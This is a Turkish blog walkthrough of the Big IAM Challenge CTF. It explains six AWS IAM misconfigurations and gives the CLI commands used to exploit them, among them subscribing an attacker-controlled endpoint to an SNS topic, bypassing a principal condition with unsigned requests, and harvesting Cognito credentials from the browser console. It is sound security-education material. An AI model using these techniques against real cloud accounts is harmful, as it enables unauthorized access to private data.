The Big IAM Challenge CTF Çözümü

arzuarzu
5 min read

CTF erişmek için: https://bigiamchallenge.com/

Challenge 1 - Buckets of Fun

Herkese açık s3 bucket veri depoları risklidir, flag değerine erişebilir misin? S3 bucket, kısaca AWS bulut sağlayıcısı depolama servisidir. Kimlik erişim ve yönetimi politikaları sayesinde AWS’nin sağlamış olduğu hizmetlere erişimi ve yönetimi sağlanmaktadır. Görevde verilmiş olan IAM politikasını inceleyelim.

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*"
        },
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:ListBucket",
            "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b",
            "Condition": {
                "StringLike": {
                    "s3:prefix": "files/*"
                }
            }
        }
    ]
}

Alt kısımda yer alan terminalde aws-cli kurulu olduğu belirtlimiş.

aws cli aracı ile s3 bucketları listelemek için aws s3 ls s3://thebigiamchallenge-storage-9979f4b komutunu kullanabiliriz. Verilen IAM politikası içerisinde de files/* dizini altındaki objeler listeleme izni verilmiştir. Ancak, tüm objeler herkesin görüntülemesine açıktır.

aws s3 cp komutu, belirtilen s3 bucket içerisindeki dosyayı yerel makineye kopyalamak için kullanılır.

Komut satırı dışında tarayıcıdan herkese açık s3 bucket objelerine erişim için https://<bucket_ismi>.s3.amazonaws.com Bucket ismine verilen IAM politika içerisinden Resource kısmından erişebiliriz.

İçeriği görüntülemek için verilen key değerini kullanıyoruz. https://<bucket_ismi>.s3.amazonaws.com/files/flag1.txt

Challenge 2 - Google Analytics

Bu görev için özel bir analitik sistem geliştirimiş ve görev sayfasında da kullanılmış. Buradaki sorun ne olabilir? Verilen IAM politika içeriği aşağıdaki gibidir.

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": [
                "sqs:SendMessage",
                "sqs:ReceiveMessage"
            ],
            "Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"
        }
    ]
}

Burada AWS SQS( Simple Queue Service) uygulamaların birbirileri ile haberleşmesini sağlayan servis kullanımını görebiliriz. Mesaj gönderme ve alma işlemlerinin herkes tarafından yapılmasına izin verilmiştir (Principal değeri “*” yani anonim kullanıcılar dahil tüm kullanıcıları kapsamaktadır). aws sqs receive-message --queue-url komutunu gelen mesajı görüntülemek için kullanabiliriz. servis queue url bağlantısı formatı https://sqs.<region>.amazonaws.com/<account-id>/<queue-name> şeklindedir.

Gelen mesaj gövdesinde bulunan url bağlantısına gittiğimiz zaman flag değerine ulaşabiliriz. Bunu sağlayan kimlik erişim ve yönetim politikalarının yanlış yapılandırılması sonucu bu aksiyonu gerçekleştirebiliyorum.

Challenge 3 - Enable Push Notifications

Bu görevde bizim için bir mesaj olduğunu söylüyor ve ona ulaşıp ulaşamayacağımız soruluyor. SQS serivisine benzer olarak SNS (Simple Notification Service) bildirim hizmeti de bulunmaktadır. SQS servisinden farklı olarak A2A(uygulamadan-uygulamaya) iletişimin yanı sıra A2P (uygulamadan-kullanıcıya) iletişim türünü de desteklemektedir.

{
    "Version": "2008-10-17",
    "Id": "Statement1",
    "Statement": [
        {
            "Sid": "Statement1",
            "Effect": "Allow",
            "Principal": {
                "AWS": "*"
            },
            "Action": "SNS:Subscribe",
            "Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",
            "Condition": {
                "StringLike": {
                    "sns:Endpoint": "*@tbic.wiz.io"
                }
            }
        }
    ]
}

Verilen IAM politikasını inceleyelim. Tüm AWS kullanıcılarının SNS servisine @tbic.wiz.io domaine sahip olan son kullanıcıların abone olmasına izin vermektedir. İletişim kanalı da belirtilmemiş yani sadece eposta olmak zorunda değil. Bunun için Condition bölümüne sns:Protocol olarak eklenebilir.

aws sns subscribe --region <region> --topic-arn <arn:aws:sns…> --notification-endpoint http://kendi_sunucu_ip/@tbic.wiz.io komutu kullanarak bildirim servisine üye olabiliyoruz. --protocol paramtetresi ile de hangi iletişim kanalı ile bildirimleri almak istediğimizi belirtiyoruz. Burada, sunucu olarak requestrepo.com kullandım.

İlk gelen istek içerisinde üyelik doğrulama için bir url bağlantısı gönderilmektedir.

Burayı ziyaret ettikten sonra abonelik tamamlanmış oluyor ve bize gelen mesaja ulaşabiliyoruz.

Challenge 4 - Admin only?

Bir önceki yanlış yapılandırmalardan ders alınmış ve bu sefer s3 bucket erişimi admin kullanıcısına tanımlanmış, sizce öyle mi? Verilen IAM policy içerisinde,

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*"
        },
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:ListBucket",
            "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321",
            "Condition": {
                "StringLike": {
                    "s3:prefix": "files/*"
                },
                "ForAllValues:StringLike": {
                    "aws:PrincipalArn": "arn:aws:iam::133713371337:user/admin"
                }
            }
        }
    ]
}

files/ içerisindeki objeleri yalnızca arn:aws:iam::133713371337:user/admin kaynak ismine sahip kullanıcıların erişebileceği belirtilmiş.

Sahip olduğumuz kullanıcı bilgilerini aws sts get-caller-identity komutu ile görebiliriz.

Yapılan bu kısıtlamayı atlatmak için kullanılan yöntemlerden bir tanesi STS(Securtiy Token Service) servisinin assume-role özelliğini kullanmak olabilir. Ancak burada policy içerisinde yetki verildmediği için denememiz başarılı olmuyor.

Policy içerisinde kullanılan ForAllValues koşulu kullanımında istekte hiçbir key bulunmuyorsa veya anahtar değerler boş ise doğru döner ve işlemi gerçekleştirir. --no-sign-request parametresi imzalı bir istekte bulunmaktan kaçınmak için kullanılır. Bu parametreyi kullandığımız zaman herhangi bir kimlik bilgisini kullanmadan işlem yapmaya çalışır. Bu sayede, policy içerisindeki PrincipalArn kısıtlaması ForAllValues koşulundan dolayı geçersiz sayılır.

Flag dosya içeriğini indirip görüntüleyelim. Bulunulan /var/task dizinine dosya yazma izni bulunmadığı için farkı bir dizin kullanıyoruz.

Challenge 5 - Do I know you?

Kimlik sağlayıcısı olarak AWS Cognito servisi yapılandırılmış. Cognito, kimlik doğrulama, yetkilendirme ve kullanıcı yönetimi için kullanılıyor. Verilen erişim politikasını inceleyelim.

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "VisualEditor0",
            "Effect": "Allow",
            "Action": [
                "mobileanalytics:PutEvents",
                "cognito-sync:*"
            ],
            "Resource": "*"
        },
        {
            "Sid": "VisualEditor1",
            "Effect": "Allow",
            "Action": [
                "s3:GetObject",
                "s3:ListBucket"
            ],
            "Resource": [
                "arn:aws:s3:::wiz-privatefiles",
                "arn:aws:s3:::wiz-privatefiles/*"
            ]
        }
    ]
}

cognito-sync ile kullanıcıların uygulama verilerinin senkronizasyonunu gerçekleştirir.

cognito1.png görseli belirlenen zaman aralığında erişime açık bir şekilde imzalı bir bağlantı oluşturur. Tarayıcı geliştirici araç konsolundan AWS.config.credentials komutunu çalıştırdığımız zaman yekilendirme için gerekli bilgilere erişebiliyoruz. Oluşturulan geçici kimlik bilgileri istemci-taraflı tanımlandığından ele geçirilebilir.

Bulunan accessKeyID, secretKey ve sessionToken değerlerini ortam değişkenlerinde tanımlayıp geçici süreliğine istenilen yetkileri elde edebiliriz. Lab ortamında ortam değişkenleri değiştirilemediğinden, komut satırı içerisinde (inline) kullanımını deneyeceğiz .

AWS_ACCESS_KEY_ID=your-access-key AWS_SECRET_ACCESS_KEY=your-secret-key AWS_SESSION_TOKEN=your-session-token aws s3 ls s3://wiz-privatefiles

Challenge 6 - One final push

Anonim erişimler artık yok. Bakalım neler yapabileceksin. arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role yetkili rolü kullanmayı dene. Verilen politika içeriğini inceleyelim.

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": {
                "Federated": "cognito-identity.amazonaws.com"
            },
            "Action": "sts:AssumeRoleWithWebIdentity",
            "Condition": {
                "StringEquals": {
                    "cognito-identity.amazonaws.com:aud": "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"
                }
            }
        }
    ]
}

Gerekn kimlik doğrulama bilgileri için aşağıdaki komutu kullanmamız gerekiyor. Ancak web identity token değerine ihtiyacımız var

aws sts assume-role-with-web-identity \
--role-arn arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role \
--role-session-name auth_session 
--web-identity-token <JWT_TOKEN>

Bu token bulmak için de aws cognito-identity komutunun kullanımlarını inceleyebiliriz. İlk olarak identity-id değerini bulmak için aws cognito-identity get-id --identity-pool-id us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b komutunu çalıştıralım.

aws cognito-identity get-credentials-for-identity --identity-id <IDENTITY_ID> komutu ile kimlik doğrulama bilgilerine erişebildik.

Şimdi bulbilgileri kullanarak AWS_ACCESS_KEY_ID=your-access-key AWS_SECRET_ACCESS_KEY=your-secret-key AWS_SESSION_TOKEN=your-session-token aws s3 ls komutunu çalıştıralım

Gerekli yetkilere erişim sağlayamadık bu şekilde. assume-role-with-web-identity için token bilgisine sahip olmamız gerekiyor. aws cognito-identity get-id --identity-pool-id us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b komutu ile JWT web identity tokena erişiyoruz.

Bu token değerini kullanarak aws sts assume-role-with-web-identity komutunu çalıştıralım. Bu komut verilen --role-arn parametresinde belirtilen kullanıcı rolünün yetkilerini geçici süreliğine alınmasını sağlıyor bir web kimlik doğrulama sağlayıcısı ile.

Bu credential değerlerini deneyerek aws s3 bucketlarını listelemeye çalışalım. AWS_ACCESS_KEY_ID=your-access-key AWS_SECRET_ACCESS_KEY=your-secret-key AWS_SESSION_TOKEN=your-session-token aws s3 ls tekrardan bu komutu çalıştırıyorum yeni elde ettiğim değerleri kullanarak.

Tüm bucketları listeleyebildik. Bu görev ile ilgili bucket wiz-privatefiles-x1000. İçerisindeki flag dosyasını kopyalayıp içeriğini görüntüleyerek flag değerine erişim sağladık.

Kaynaklar

0
Subscribe to my newsletter

Read articles from arzu directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

arzu
arzu